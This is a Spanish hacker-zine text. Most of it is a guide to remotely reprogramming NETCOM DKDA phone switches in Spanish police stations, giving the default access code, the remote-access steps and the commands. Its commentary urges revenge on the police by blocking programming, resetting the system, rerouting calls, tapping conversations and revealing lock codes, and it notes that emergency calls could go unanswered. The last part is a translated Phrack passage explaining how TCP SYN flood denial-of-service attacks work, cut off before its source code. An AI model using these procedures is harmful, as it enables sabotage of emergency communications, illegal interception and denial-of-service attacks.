--> INTRODUCCION <--
--------------------


Ultimamente las comisarias de la Policia Nacional espa¤olas en algunas
comunidades autonomas, estan siendo renovadas, introduciendo centralitas del
tipo NETCOM DKDA de Telefonica, bueno estas centralitas son muy interesantes,
pero quizas lo mas jugoso es que incorporan la facilidad de reprogramacion a
distancia, y esto es lo que las hace realmente atractivas. Imagina el puntazo
que puede ser activar el contestador y poner un mensaje gracioso o sedicioso.

Puede que esto te resulte atractivo y lo es, te lo aseguro, pero sola-
mente imagina esto. Desactivas la posibilidad de descolgar llamadas del
receptor, y curiosamente la llamada entrante era para demandar auxilio, y al
no poder conestar esa llamada, no te tomaron las medidas adecuadas, resultado
fallecimiento de la persona, ¨Aun crees que esto es un juego?.

Pero no todo es malo, ¨cuantas veces te ha molestado la policia?, si
recuerdas seguro que muchas, bueno esta estu oportuindad de vengarte un
poquillo de ellos, de ser "SU MOSCA COJONERA" zuuuuuuuu, zuuuuuuuu, plas!

Venganza, esta bien, pero como, se te plantean dos opciones:

--> Linea dura: Joder y arrasar con todo.
--> Linea semidura: Empiezas a debilitar el servicio.
--> Linea blanda: Curioseas solamente.
¨Pero quien quiere la linea blanda, estando la dura y semidura?

Bueno pues cojete un refresco y ponte comodo, empieza la sustancia.

­Recuerda que la ultima decision es tuya, yo no me hago responsable de nada!

--> CARACTERISTICAS GENERALES <--
---------------------------------

El sistema NETCOM DKDA 9 es un sistema multilinea digital de
peque¤as capacidad que continua la linea de la familia de sistema NETCOM DKDA.
Dentro de su capacidad, permite una gran flexibilidad de adaptacion a las
necesidaders del usuario, a la vez que garantiza un alto nivel de prestaciones

La placa base del sistema - NEXT - 1 - permite la conexion directa de
cuatro extensiones digitales y dos enlaces analogicos. A continuacion se
puede aumentar el numero de puertos hasta un total de 9, colocando en unas
ranuras dedicadas tarjetas interfaz para las lineas de enlace - 1COI - o
tarjetas interfaz para extensiones digitales - 2DKI - o extensiones regulares
- 2STI -.

Aparte de esta capacidad de ampliacion, el sistema ofrece la posibi-
lidad de conectar interfaces dedicados al equipo de fax - FAXU -, interfono -
DHU - y cargador para baterias externas - BCU -.
Por ultimo, ademas de conectar dos terminales convencionales, el
sistema dispone de telefonos propietarios, los cuales son de dise¤o ergonomico
modernos y funcionales, dotados de teclas programables por el usuario, que
permite personalizar cada aparato de acuerdo al entorno de trabajo, a fin de
obtener un mejor aprovechamiento de los servicios ofrecidos por el sistema.

Dos son los modelos de telefonos propietarios
- Telefonos Basico: Dotado de 8 teclas totalmente programables por el
usuario.
- Telefono Visor: Igual que el anterior aunque incorpora,a su vez, una
pantalla de cristal liquido con 2 lineas de 16 calaes cada una (2 x 16).
Hay uno en el ficehro (\Policia\Telefono.jpg)

La conexion de cualquier telefono, ya sea convencional o propietario
se realiza a dos hilos, lo que permite utilizar instalaciones existentes,
mayor fiabilidad y mas bajos costos de instalacion.


--> DESCRIPCION DE MODULOS Y ACCESORIOS <--
-------------------------------------------


-> Modulo basico

La configuracion basica del sistema NETCOM DKDA 9 se compone de un
armario KSU que se incorpora la fuente de alimentacion - POWU - y la placa
base - NEXT -1-.

- La placa base - NEXT 1 - contiene los siguientes modulos que le
permiten una funcionalidad en la configuracion minima 2/2:

- Circuito de control de estructurado alrededor de un microprocesador
Zilog Z 8018008 y su familia de componentes.

- Matriz de conmutacion

- 2 circuitos de enlace con sus correspondientes repartidores de la
conexion de enlaces RTC.

- 4 circuitos para extensiones digitales con los conectores tipo 232 D
para 4 telefonos propietarios.

- Generador de musica para llamadas de retencion.

- Un detector de multifrecuencia para programacion remota.

La placa base NEXT 1 es el soporte para posibles ampliaciones del
sistema y por ello incorpora los conectores dedicados a los siguientes tipos
de interfaces:

- Conector para una tarjeta opcional de unenlace analogico -1COI1-.

- Conector para una tarjeta opcional de dos extensiones digitales 2DKI
o 2 extensiones regulares 2STI. En cada caso debera elegirse una u
otra opcion.

- Conector para una tarjeta de servicios opcionales tarjeta de inter-
faz para interfonos DHU (se pueden conectar maximos tres interfonos
o tarjeta de mensajes de voz VRU. La conexion de las tarjetas es
exclusiva.

- Conector para la tarjeta 2PBU que contiene 2 detectores de multifre-
cuencia.

- Conector de 2 vias para el cable de de la tarjeta FAXU.


--> PROGRAMACION LOCAL<--
-------------------------

Para entrar en modo local de programacion deberan seguirse los
siguientes pasos:

- Con el telefono en reposo, pulsar PROG. El piloto lucira.
- Pulsar #. El piloto PROG. parpadeara lentamente (60 ipm).
- Pulsar # de nuevo. El piloto PROG. parpadeara rapidamente (420 ipm) Si el
telefono incorpora pantalla aparecera:
"EN PROGRAMACION"
En este momento ya se pueden visualizar o modificar datos. Para ello y como
norma general:

- Introducir "*" + numero del contador + [Datos] + "#"

->Indicaciones <-
-----------------

El piloto PROG cambia su parpadeo de 60 a 240 ipm, si los datos intro-
ducidos son correctos para el sistema, y no modifica su parpadeo si son inco-
rrectos. Si la extension dispone de pantalls, una "P" la final indica que los
datos introducidos indicala validez de los mismo, si aparece "--P", indica
error.

Para verificar los datos se necesita disponer de una extension con
pantalla.

En estado de programacion y una vez introducido el comando cuyos datos
se desea comprobar, pulsar #.
El sistema enviara los datos introducidos a dicho comando y una "c"
parpadeara al final de los mismo. Si la longitud de los datos no cupiese en
una sola pantalla pulsando sucesivos "#" aparecera el resto de la informacion
(Comandos *25, *32, *63,*64 y *963).


--> COMANDOS DE SISTEMA <--
---------------------------

------> Comado *00
Parametro: CLAVE DE ACCESO

Uso: Permite modificar la clave de acceso (4 digitos) para
operaciones de mantenimiento remoto.
Formato: DDDD#
D puede tomar cualquier valos de 0-9
V. inicial: 0000

->> Y que tal poner un 666???


------> Comado *01
Parametro: EXTENSIONES AUTORIZADAS A PROGRAMAR

Uso: Permitir la extension o extensiones desde las cuales se
podran efectuar operaciones de programacion.
Formato: XX(YY)#
XX puede tomar valor entre 10-17
YY es opcional y se puede tomar cualquier valor entre 10-17
Si se programa XX,YY = 10,10 todos los telefonos propietarios quedan
autorizados a programar.
Para introducir el valor inicial pulsar 10#
V. inicial: 10,00

->> Seria una autentica putada, que nadie pudiera programar las extensiones,
seria un autentico caos, ¨No crees?


------> Comado *06
Parametro: RECARGA TOTAL DE LOS VALORES INICIALES

Uso: Permite programar los datos iniciales de fabrica, de nuevo
Formato: 00#1#
V. inicial: No existe.
Comentario: Al pulsar el segundo # se produce la recarga de los datos.
La operacion solo puede efectuarse desde uno o dos telefonos auto-
rizados mediante el comando *1. (Si todos los telefonos estubieran
autorizados, este comando *06 no puede ser utilizado excepto si es
la extension 10 fisica).
Ningun datos se visualizara si se introduce *06# de verificacion.
Los datos de Marcacion Abreviada tanto comun como privada no pueden
ser inicializados, asi como tampoco los de las teclas programables.

->> Mira que despues de dejar todo bien arreglado, va y se pone en los valores
de fabrica. Hummmmmm, una manos rapidas hacen milagros.


------> Comado *30
Parametro: SELECCION DE MUSICA EN RETENCION

Uso: Permite seleccionar una de las dos melodias internas de
musica en retencion.
Formato: D#
D = 0 Let it be.
D = 1 Melody Fair
V. inicial: 0

->> Una pena que solo tenga estas dos de fabrica, pero menos da una piedra.


------> Comado *32
Parametro: PUNTOS DE CONTESTACICON AL INTERFONO

Uso: Permite definir hasta 6 extensiones como puntos de atencion
para llamadas de interfono. Al empezar a programar este comando se
borran los datos que hubiese.
Formato: XYY#
X = 0 Interfono A.
X = 1 Interfono B.
X = 2 Interfono C.
YY indica le punto de contestacion.
YY = 0 implica que no hay punto de contestacion. Puede tomar valores
entre 10 y 17 para el sistema.

V. inicial de YY:
X = 0 X = 1 X = 2
0-10 1-10 2-10
0-11 1-11 2-11
0-12 1-12 2-12
0-13 1-13 2-13

Ejemplo: Para programar que le interfono A tenga como punto de contes-
tacion a las extensiones 13, 16 y 17:
*32 0 13#16#17#

->> Vaya que le salga la mujer del comisario a todos los despachos, la risa
esta asegurada.


------> Comado *37
Parametro: GRABACION DE UNA CONVERSACION EN DESCOLGADO

Uso: Permite definir si este servicio esta permitido o no.
Formato: D#
D = 0 No permitido.
D = 1 Permitido.
V. inicial: 1

->> Pinchar el telefono a la propia policia, el no va mas!!!!.


------> Comado * 61
Parametro: ASIGNACION DE NOMBRES A EXTENSIONES

Uso: Permite asignar a cada extension del Sistema un nombre
(seis caracteres).
Formato: DDUuVvXxYyZz#
DD indica le numero de la extension (10-17).
Cada pareja Uu, Vv,.. Zz representa un par de digitos que se corres-
ponden con un caracter segun la tabla siguienete:

ÚÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ u\U ³ 0 1 2 3 4 5 6 ³
ÃÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
³ 0 ³ 0 . , ' ] -> > ³
³ 1 ³ 1 Q Z " * ³
³ 2 ³ 2 A B C : # ³
³ 3 ³ 3 D E F ; $ ³
³ 4 ³ 4 G H I ! % ³
³ 5 ³ 5 J K L ? + ³
³ 6 ³ 6 M N O & - ³
³ 7 ³ 7 P R S ( = ³
³ 8 ³ 8 T U V ) / _ ³
³ 9 ³ 9 W X Y [ <- < ³
ÀÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
Ejemplo: Hacker =24-12-32-25-23-27
Un caracter en blanco [62] borra el nombre.

V. inicial: No hay ninguna asignacion

->> Mensajes subliminares a tutiple!!!!.


------> Comado *76
Parametro: TONO DE CONFIRMACION

Uso: Permite definir si al pulsar una tecla se desea oir un
tono que confirme que la pulsacion es valida.
Formato: DDX#
DD indica el numero de extension (10-17).
Si se desea Tono, programar X = 1 y en caso contrario X = 0
V. inicial: Debe recibirse tono.

->> Remeber. "
Mosca cojonera".


------> Comado *88
Parametro: CLAVE DE ACCESO A CANDADO ELECTRONICO

Uso: Permite visualizar la clave de acceso del candado electro-
nico.
Formato: DD#
DD indica el numero de extension
V. inicial: No hay

->> La clave al instante, sin John ni nada.


------> Comado *932
Parametro: DURACION PAUSA INTERDIGITAL (CPA)

Uso: Permite especificar cual debe ser la duracion de la pausa
entre digitos cuando un enlace es conectado como extension de una
Centralita.
Formato: D#
D = 0 - No pausa
D = 1 - 1 segundos
D = 2 - 2 segundos
..
D = 7 - 7 segundos
V. inicial: 3 -3 segundos.

->> Nada que si para marcar un numero te diras 1 minuto, vaya plan no crees?


------> Comado *985
Parametro: PUNTO DE CONTESTACION ALTERNATIVO

Uso: Permite definir un segundo punto de contestacion para
llamadas externas entrantes, bien por enlaces o bien por todo el
sistema.
Formato: D(XX)#
D = 0 Por enlace
D = 1 Para todo el sistema

XX indica la extension que se desea como punto alternativo. Puede
tomar valores entre 10 y 17. XX se programa solamente en el caso que
D = 1.

V. inicial: Por enlace

->> No tenias bastante con que toda la comisaria escuchara al comisario, si no
que ademas va a reponder el pervertido de turno, vaya esto se esta pareciendo
mas a un party-line erotico.


--> COMANDOS DE DIAGNOSTICO Y MANTENIMIENTO <--
-----------------------------------------------

------> Comado *05
Parametro: SUPERVISION DE ERRORES

Uso: Permite mostrar la direccion en que existe un error.
Formato: #
Respuesta: DDDD
DDDD indica la direccion hexagesimal en la que existe error.
DDDD = 0000 significa que hay errores.
V. inicial:

->> No esta de mas para testear la linea.


--> MANTENIMIENTO <--
---------------------

-> Test del telefono propietario

Los indicadores luminosos y las teclas de los telefonos propietarios
pueden comprobarse desde el propio aparato.

-> Autotest

* Teniendo pulsada la tecla PROGR. conectar el aparato a la roseta.
* Pulsar la tecla programable 1.

Mientras se tiene pulsada esta tecla luciran todos los puntos de la
pantalla de cristal liquido.
Los leds ROJOS asociados a las siguientes teclas luciran (cada 300
mseg) en el orden que se muestre.

Tecla Programable 1
Tecla Programable 2
.......
Tecla Programable 8
ALTAVOZ
PROGR
RETENCION
INTERC

Para detener esta secuencia, liberar la tecla programable 1. Todos
los leds se apagaran, pero la pantalla continuara encendida.

* Pulsar la tecla programable 2.

Mientras se tiene pulsada esta tecla, en la pantalla apareceran todos
los digitos (0-9, A-F).
Los leds VERDES asociados a las siguientes teclas luciram (cada 300
mseg) en el orden que se muestra:

Tecla Programable 1
Tecla Programable 2
.......
Tecla Programable 8

Para detener esta secuencia, liberar la tecla programable 2. Todos los
leds se apagaran pero la pantalla continuara encendida.

*Pulsar la tecla Programable 3.

Mienras se tiene pulsada esta tecla:
- Se borra la pantalla
- Lucen todos los leds ROJOS.
Al liberrar la tecla programable 3, se apagaran todos los leds.

*Pulsar la tecla Programable 4.
Mientras se pulsa esta tecla:
- Lucen todos los leds VERDES.
Al liberar la tecla programable 4, se apagaran todos los leds.

*Pulsar las teclas 5 a 8 secuencialmente
Mientras se pulsa cada tecla:
- Luce el led ROJO asociado a la tecla programada.
- Liberar la tecla programable y su piloto se apagara.

*Pulsar las teclas de marcacion:
Los leds asociados a las teclas programables 1 a 4 luciran segun la
tabla siguiente al pulsar la correspondiente tecla:

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ Tecla Programable ³ 1 2 3 4 5 6 7 8 9 * 0 # ³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
³ 1 ³ x x x x x ³
³ 2 ³ x x x x x x ³
³ 3 ³ x x x ³
³ 4 ³ x x x x x x x x ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

Al liberar la tecla pulsada los leds se apagaran.

* Pulsar la tecla ALTAVOZ.
Lucira el led asociado.
Al liberar la tecla se apagara su led.

* Pulsar la tecla INTERC.
Lucira el led asociado.
Al liberar la tecla se apagara su led.

* Pulsar la tecla RETENCION.
Lucira el led asociado.
Al liberar la tecla se apagara su led.
Manteniendose pulsada finaliza el autotest.

* Pulsar la tecla MARC.ABREV.
Sonara por el altavoz un tono de 500 Hz/8hz a 240 ipm. Este sonido
continuara una vez liberada la tecla.

* Puslar la tecla RELLAMADA
El sonido se detendra.

* Pulsar la tecla VOLUMEN
En colgado:
- Si se pulsa ^ el volumen se incrementa hasta alcanzar su maximo
nivel.
- Si se pulsa su inversa el volumen disminuye hasta alcanzar su nivel
minimo.
- El volumen minimo se oye si se descuelga el telefono.

* Pasar del modo test al trabajo
- No pulsar ninguna tecla durante 7 segundos.


--> MANTENIMIENTO REMOTO <--
----------------------------

El sistema NETCOM DKDA permite programar y ser programado de forma
remota, desde un telefono propietario o desde un ordenador, se programa igual
que se haria in situ.
El sistema que se desea programar tiene que tener una clave de acceso
por defecto es 0000. Para modificarla se programa el comando (*00) conforme
a las intrucciones del que he puesto arriba. El sistema que se ejecuta la
programacion debe tener una tecla con la funcion SERVC.

(PROG + ** + Tecla + 93 + * + PROGR)

-> A) PROGRAMACION ASISTIDA.

Despues de haber establecido la comunicacion entre dos sistemas (no
importa quien produzca la llamada), el cliente debe efectuar las siguientes
operaciones:

- Pulsar la tecla PROGR.
- Pulsar la tecla correspondiente al enlace que se utiliza para esta
llamada.
- Pulsar la tecla RETENCION.
- Colgar el auricular.

Cuando el cliente pulse la tecla RETENCION, en el telefono propietario
del tecnico que realiza la programacion se recibe un tono de invitacion a
marcar. En este momento, realizar los siguientes pasos:

a) Si el enlace utilizado para la marcacion, se encuentra en marcacion
decadica, es necesario pasar a marcacion multifrecuencia (pulsar #)
Si el enlace se encuentra en marcacion multifrecuencia este paso no
es necesario.
b) Pulsar #
c) Pulsar la tecla SERVC. Se enciende suluz

Si al mismo tiempo esta en curso otra operacion remota sobre el mismo
sistema, se recibe un tono de comunicado y la luz de la tecla SERVC no se
enciende. Para intentar entrar de nuevo en programacion remota pulsar * y el
tono de la invitacion a marcar se vuelve a oir.

Esperar unos segundos y volver a realizar los pasos b) y c).

d) Marcar los cuatro digitos de la clave de acceso, Si se equivoca
pulse * y repita os pasos b) y c)
c) Pulsar #

En este momento el sistema objeto de la reprogramacion contesta
enviando en multifrecuencia su tipo (9, 16, 32, 80) y la version del sotware
correspondiente. El contenido de la pantalla del telefono propietario que se
realiza la programacion es el siguiente:

------> Clave de acceso

S1234# enviado por el programador.
09, 4-8 contestado por el sistema programado.

A partir de este momento la programacion se realiza de igual forma que
si se realizara in situ. Se puede visualizar o cambiar el contenido de
cualquier comando.

------> Ejemplo:

Se necesita cambiar el tipo de marcacion del primer enlace (de marca-
cion Decadica a Marcacion Multifrecuencia).

> Visualizar el tipo de marcaion del enlace.

Se envia *40 01#
Se recibe 40=01-1,0,0,c (Primer enlace en marcaion Decadica).

> Cambiar el tipo de marcaion a multifrecuencia:

Se envia *4001200#
Se recibe 40=01-2,0,0P

Para finalizar la programacion correctamente.

Pulsar la tecla SERVC. Se envia un timbre de llamada en el telefono
del sistema programado y a continuacion se puede entrar otra vez en conversa-
cion o se puede colgar.

Nota: Si se cuelga antes de pulsar la tecla "
SERVC", el enlace del
cliente queda retenido aproximadamente unos 10 minutos.


Bueno volveremos a vernos, ­quien sabe si en los calabozos!.


Saludos!!!!!





---- { R16_06 } --------------------------------------------------------------

-------- { Proyecto Neptuno (Flood TCP SYN) } --------------------------------

--- { PiErCinG }


Documento aparecido en "
Phrack Magazine ". Volumen Siete, Numero
Cuarenta y ocho, Fichero 13.


[ Proyecto Neptuno ]

by daemon9 / route / infinity
for Phrack Magazine
July 1996 Guild Productions, kid

comments to route@infonexus.com


Este proyecto es un analisis para entender el flood TCP SYN. Y os
debeis estar preguntando, porque tratar de una manera tan extensa el flood
TCP SYN? Aparentemente, alguien debia de hacerlo. Este alguien resulto
ser yo mismo (necesito un verdadero hobby). El proyecto SYNflood consiste en
esta guia, que incluye anotaciones de volcado de monitorizaciones de red y
un robusto codigo fuente para Linux completamente funcional.


--[ Introduccion ]--

El flood TCP SYN es un ataque del tipo denegacion de servicio (Denial
of service - DOS). Como la mayoria de los ataques del tipo DOS, no explota un
fallo o bug del software, pero si una escasez en la implementacion de un
protocolo determinado. Por ejemplo los ataques DOS del tipo mail bombing
funcionan porque muchos agentes SMTP son tontos y aceptan cualquier cosa que
se les envia. Los floods ICMP_ECHO explotan el hecho que muchos kernels
simplemente responderan los paquetes de peticion ICMP_ECHO uno tras otro, de
manera infinita. Como veremos los ataques DOS del tipo flood TCP SYN funcionan
gracias a la actual implementacion del protocolo de establecimiento de
conexion de TCP.


--[ Prologo ]--

Esta guia pretende ser una completa introduccion al flood TCP SYN (al
cual nos referiremos a partir de ahora como flood SYN). Esto cubrira el ataque
de una manera detallada, incluyendo toda la informacion basica relevante
necesaria. La organizaremos en secciones:

Seccion I. Informacion basica sobre TCP.
Seccion II. Las estructuras de memoria de TCP y el Backlog
Seccion III. Procesamiento de la entrada de TCP
Seccion IV. El ataque
Seccion V. La traza de red
Seccion VI. Neptune.c
Seccion VII. Discusion y prevencion
Seccion VIII. Referencias

(Nota: seria conveniente para los lectores que no esten familiarizados con el
protocolo TCP/IP se leyeran el siguiente texto:
ftp://ftp.infonexus.com/pub/Philes/NetTech/TCP-IP/tcipIp.intro.txt.gz)



--[ Los Jugadores ]--


A: Host destino
X: Host inalcanzable
Z: Host atacante
Z(x): Atacante enmascarado como el inalcanzable


--[ Los graficos ]--


Hay algunos graficos de transacciones de red en esta guia
que seran interpretadas de la siguiente manera:

tick host a control host b

tick:
Una unidad de tiempo. No hay distincion sobre *cuanto* tiempo existe
entre ticks, simplemente pasa ese tiempo. Generalmente no supondra una gran
espera.
host a:
Una maquina que participa en una conversacion basada en TCP.
control:
Este campo muestra los bits relevantes de control que aparecen en
las cabeceras TCP y la direccion en la que fluye la informacion.
host b:
Una maquina que participa en una conversacion basada en TCP.

Por ejemplo:

1 A ---SYN---> B

En este caso, en el primer punto de referencia en el tiempo, el
host a esta enviando una trama TCP al host b con el bit de SYN activado.
A menos que se indique, generalmente desconoceremos la parte de datos de la
trama TCP.



Seccion I. Informacion basica sobre TCP

TCP es un protocolo de transporte orientado a la conexion. TCP es
responsable de esconder las interioridades de red a las capas superiores. Un
protocolo orientado a la conexion implica que los dos hosts que participan en
una conversacion primero deben establecer una conexion antes de cualquier
intercambio de datos. En el caso de TCP, esto se realiza con el saludo de las
tres fases. La fiabilidad puede ser provista de diferentes maneras, pero las
dos unicas que nos conciernen son la secuencia de datos y los ACK
(acknowledgement o confirmacion). El TCP asigna numeros de secuencia a cada
byte en cada trama y confirma todos los bytes de datos que recibe del otro
lado. (ACKs utilizan un numero de secuencia, pero no son por si mismos
confirmados).


--[ Establecimiento de conexion TCP ]--

Para intercambiar datos usando TCP, los hosts deben establecer una
conexion. El TCP establece una conexion en un proceso de 3 fases denominado
el saludo de las tres fases. Si la maquina A esta corriendo un programa
cliente y desea conectarse a un programa servidor en la maquina B, el
proceso que realiza es el siguiente:

fig(1)

1 A ---SYN---> B

2 A <---SYN/ACK--- B

3 A ---ACK---> B


En (1) el cliente le esta diciendo al servidor que quiere una
conexion. Este es el unico proposito del flag de SYN (bit de SYN activado).
El cliente le esta diciendo al servidor que el campo del numero de secuencia
es valido, y deberia comprobarlo. El cliente pondra el campo de numero de
secuencia en la cabecera TCP con el valor de ISN (initial sequence number, o
numero de inicio de secuencia). El servidor, al recibir esa trama (2)
respondera con su propio ISN (por tanto el flag de SYN esta activado) y una
ACK-confirmacion de la primera trama del cliente (que es el ISN del
cliente + 1).
El cliente entonces confirma (ACK) el ISN del servidor (3). Ahora ya puede
dar comienzo la transmision de datos.


--[ Flags de control TCP ]--

Existen seis flags de control de TCP. Aunque solo tendremos en cuenta
tres de ellos, aqui estan todos incluidos:

*SYN: Numeros de sincronizacion de secuencia.
El campo de numeros de sincronizacion de secuencia es valido. Este
flag solo es valido durante el saludo de las tres fases. Indica al receptor
del TCP que valide el campo de numero de secuencia, y que anote dicho valor
como el numero de secuencia inicial indicador de conexion (iniciado
normalmente por el cliente). Los numeros de secuencia en TCP pueden ser
sencillamente considerados como contadores de 32 bits, y su rango va de 0
a 4,294,967,295. Cada byte de los datos intercambiados a traves de una
conexion TCP (junto con ciertos flags) es secuencial. El campo de numero de
secuencia en la cabecera TCP contendra el numero de secuencia del *primer*
byte de datos en la trama TCP.

*ACK: Acknowledgement(Confirmacion)
El campo numerico de confirmacion es valido. Este flag esta casi
siempre indicado. El campo numerico de confirmacion de la cabecera TCP
guarda el valor del siguiente numero de secuencia *esperado* (del otro lado),
y tambien confirma *todos* los datos (del otro lado) hasta este numero de ACK
menos uno.

*RST: Reset
Destruye la conexion referenciada. Todas las estructuras de memoria
son inicializadas.

URG: Urgente
El puntero urgente es valido. Esta es la manera en TCP de implementar
OOB (out of band). Por ejemplo, en una conexion mediante telnet, un 'ctrl-c'
por parte del cliente se considera urgente y causara que este flag este
activo.

PSH: Push
El receptor TCP no deberia encolar estos datos, mas bien deberia
pasarlos a la aplicacion tan pronto como pueda. Este flag siempre deberia
estar activado en conexiones interactivas, como las de telnet y rlogin.

FIN: Finish
El emisor TCP ha acabado de transmitir datos, pero todavia esta
abierto a acceptar datos.


--[ Puertos ]--


Para garantizar accesos simultaneos al modulo de TCP, el TCP
provee una interfaz de usuario denominada puerto. Los puertos son usados
por el kernel para identificar procesos de red. Ellos son estrictamente
entidades de la capa de transporte. Junto con una direccion IP, un puerto
TCP provee un punto final para las comunicaciones de red. De hecho, en
cualquier momento *todas* las conexiones en Internet pueden describirse
con cuatro numeros: la direccion IP origen y el puerto origen, y la
direccion IP destino y el puerto destino. Los servidores son accesibles
a puertos conocidos asi que ellos pueden estar localizables en un puerto
estandard en diferentes sistemas. Por ejemplo el daemon de telnet se situa
en el puerto TCP 23.



Seccion II. Las estructuras de memoria de TCP y el Backlog

Para un buen tratamiento del tema del SYNflood, es necesario
echarle un vistazo a las estructuras de memoria que crea el TCP cuando llega
un cliente SYN y la conexion esta pendiente (una conexion que esta en
algun lugar del proceso del saludo de las tres fases y el TCP esta en el
estado de envio_SYN o recepcion_SYN)


--[ BSD ]--

Bajo el codigo de red del estilo BSD, para cada peticion de conexion
pendiente de TCP existen tres estructuras de memoria que esten localizadas
(no discutiremos sobre la estructura de proceso y la estructura de ficheros,
pero el lector debe estar advertido de que existen.):

Socket Structure (socket{}):
Guarda informacion relativa al extremo local del enlace de
comunicaciones: el protocolo utilizado, informacion de estado, informacion de
direccionamiento, colas de conexion, buffers y flags.

Internet Protocol Control Block Structure (inpcb{}):
Los PCB's se utilizan en la capa de transporte de TCP (y UDP) para
guardar varios fragmentos de informacion necesaria para TCP. En ellos se
guardan: informacion del estado TCP, informacion de direcciones IP, numeros
de puertos, prototipos de cabeceras IP y opciones y un puntero a la entrada
a la tabla de enrutamiento para las direcciones destino. Los PCB's son
creados para un servidor basado en TCP cuando el servidor llama a la funcion
listen().

TCP Control Block Structure (tcpcb{}):
El bloque de control TCP contiene informacion especifica del TCP como
informacion del timer, informacion del numero de secuencia, estado del flujo
de control, y datos OOB.


--[ Linux ]--

Linux utiliza un esquema diferente de asignacion de memoria para
guardar informacion de red. La estructura de socket todavia se utiliza, pero
en vez de pcb{} y tcpcb{}, tenemos lo siguiente:

Sock Structure (sock{}):
Informacion especifica del protocolo, la mayoria de las estructuras
de datos son del tipo TCP. Esta es una estructura amplia.

SK Structure (sk_buff{}):
Guarda mas informacion especifica del protocolo incluyendo informacion
de las cabeceras de los paquetes, tambien contiene sock{}.

Segun Alan Cox:
El inodo es el inodo que guarda el socket (debe de ser un inodo de
prueba para sockets que no pertenecen al sistema de ficheros como IP), el
socket guarda metodos genericos de alto nivel y la estructura sock es el
objeto especifico del protocolo, aunque algunos items experimentales de
alto rendimiento utilizan la misma estructura generica sock y el codigo de
soporte. Eso guarda cadenas de buffers lineales (estructura sk_buff's).

[estruct. inodo -> estruct. socket -> estruct. sock -> cadenas de sk_buff's]



--[ La Cola de Backlog]--


Son grandes estructuras de memoria. Cada vez que un SYN cliente llega
a un puerto valido (un puerto donde el servidor TCP esta listen()
escuchando), deben estar reservadas. Si no existiera ningun limite, un host
ocupado podria facilmente acabar con toda su memoria simplemente tratando de
procesar las conexiones TCP. (Esto seria incluso un simple ataque del tipo
DOS de denegacion de servicio). De cualquier forma, existe un limite maximo
de apilar las peticiones concurrentes de conexion que puede tener el TCP en
espera para un socket determinado. Este limite es el backlog y es la longitud
de la cola donde las conexiones de entrada (todavia incompletas) se mantienen.
Este limite de cola se aplica de forma identica para el numero de conexiones
incompletas(el saludo de las tres fases no ha sido completado) y para el
numero de conexiones completas que no han sido extraidas de la cola por la
aplicacion llamando a la funcion accept(). Si se alcanza este limite de
backlog, nos daremos cuenta de que el TCP desestimara sigilosamente todas
las peticiones de conexion de llegada hasta que las conexiones pendientes
puedan ser tratadas.

El backlog no es un valor muy elevado. No debe serlo. Normalmente el
TCP es bastante expeditivo en el proceso de establecimiento de conexion.
Incluso si una conexion llego mientras la cola estaba llena, cuando el
cliente retransmite su trama de peticion de conexion, el receptor TCP tendra
de nuevo espacio en su cola. Diferentes implementaciones del TCP tienen
diferentes tama¤os de backlog. Bajo el codigo de red del estilo BSD, tambien
hay un 'grace' margen de 3/2. Esto significa que el TCP permitira un maximo
de backlog*3/2+1 conexiones. Esto permitira a un socket una conexion incluso
si llama a listen con un backlog de 0. Algunos valores comunes de backlog:

fig(2)

OS Backlog BL+'Grace' Notas
---------------------------------------------------------------------------
SunOS 4.x.x: 5 8
IRIX 5.2: 5 8
Solaris
Linux 1.2.x: 10 10 Linux no tiene este 'grace' margen.
FreeBSD 2.1.0: 32
FreeBSD 2.1.5: 128
Win NTs 3.5.1: 6 6 NT no parece que tenga este margen.
Win NTw 4.0: 6 6 NT tiene un backlog patetico.




Seccion III. Procesamiento de la entrada de TCP


Para ver exactamente donde actua el ataque es necesario observar
como la recepcion en TCP procesa una trama de llegada. Lo que se expone
acto seguido es valido para el estilo de red BSD, y solo los procesos
relevantes a esta guia son analizados.

Un paquete llega y es desmultiplexado desde la pila de protocolos hasta
TCP. El estado de TCP es LISTEN (escuchando):

Obtener la informacion de cabecera:
El TCP obtiene las cabeceras TCP e IP y almacena la informacion en
memoria.
Verificar el checksum TCP:
El checksum estandard de internet se aplica a toda la trama. Si
esta comprobacion falla, no se envia ningun ACK, y se rechaza la trama,
asumiendo que el cliente la retransmitira.

Localizar el PCB{}:
El TCP localiza el PCB{} asociado con la conexion. Si no se
encuentra, el TCP rechaza la trama y envia un RST. (Esta es la manera en
que TCP maneja las conexiones que llegan a los puertos en los cuales el
servidor no esta escuchando). Si el PCB{} existe, pero el estado es CLOSED
(cerrado), el servidor no ha realizado las llamadas a las funciones
connect() o listen(). La trama se rechaza, pero no se envia ningun RST. Se
espera que el cliente retransmita su peticion de conexion. Veremos este
caso cuando hablemos de 'Anomalias en Linux'.

Crear un nuevo socket:
Cuando llega una trama a un socket en escucha -listen()-, se crea un
socket esclavo. Aqui es donde se crean un socket{}, tcpcb{}, y otro pcb{}.
TCP no es sometido a la conexion en este momento, asi que se activa un
flag para provocar que el TCP rechace el socket (y destruir las estructuras
de memoria) si se encuentra un error. Si se alcanza el limite de backlog, el
TCP lo considera un error, y se rechaza la conexion. Veremos que esta es
exactamente la causa de que funcione el ataque. De otra manera, el nuevo
estado TCP del socket es LISTEN (en escucha), y se intenta completar la
apertura pasiva.
Rechazar si RST, ACK, o no SYN:
Si la trama contiene un RST, se rechaza. Si contiene un ACK, se
rechaza, se envia un RST y se inicializan las estructuras de memoria (el
ACK no le da sentido a la conexion en este punto, y es considerado un
